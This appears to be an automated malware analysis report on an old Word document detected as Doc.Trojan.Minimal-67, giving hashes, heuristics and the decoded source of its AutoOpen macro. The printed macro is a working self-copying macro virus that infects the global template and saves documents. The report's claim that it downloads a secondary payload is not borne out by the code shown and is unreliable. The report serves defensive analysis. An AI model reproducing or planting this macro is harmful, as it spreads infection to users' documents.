Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 18b43e619a905f15…

MALICIOUS

Office (OLE)

30.5 KB Created: 1999-05-09 18:50:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 5a2ac169aed049bc5fc95379b06bd1b1 SHA-1: 9e92fd04c821af40e185327cf0600c36c6fa197d SHA-256: 18b43e619a905f15662f82e0c1e9a8d6ec0ceca70d4de7a6b491134cc71e7d7c
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoOpen subroutine, a common technique for executing malicious code when a document is opened. The macro attempts to copy itself and save the file, indicating an effort to establish persistence or prepare for payload execution. The presence of the AutoOpen macro and the legacy WordBasic marker strongly suggests a malicious intent, likely to download and execute a secondary payload.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-67 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-67
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 654 bytes
SHA-256: ca25157670f033a4ba5b7c73664559d132451baefa4621a1da1f70e851769a36
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Public Sub MAIN()
Dim A$
Dim Z$
Dim B$
On Error Resume Next
A$ = "Global:AutoOpen"
B$ = WordBasic.[FileName$]()
Z$ = B$ + ":AutoOpen"
If A$ = Z$ Then WordBasic.Beep Else WordBasic.MacroCopy A$, Z$, 1
If A$ = Z$ Then WordBasic.Beep Else WordBasic.MacroCopy Z$, A$, 1
If A$ = Z$ Then WordBasic.Beep Else WordBasic.FileSaveAs Format:=1
End Sub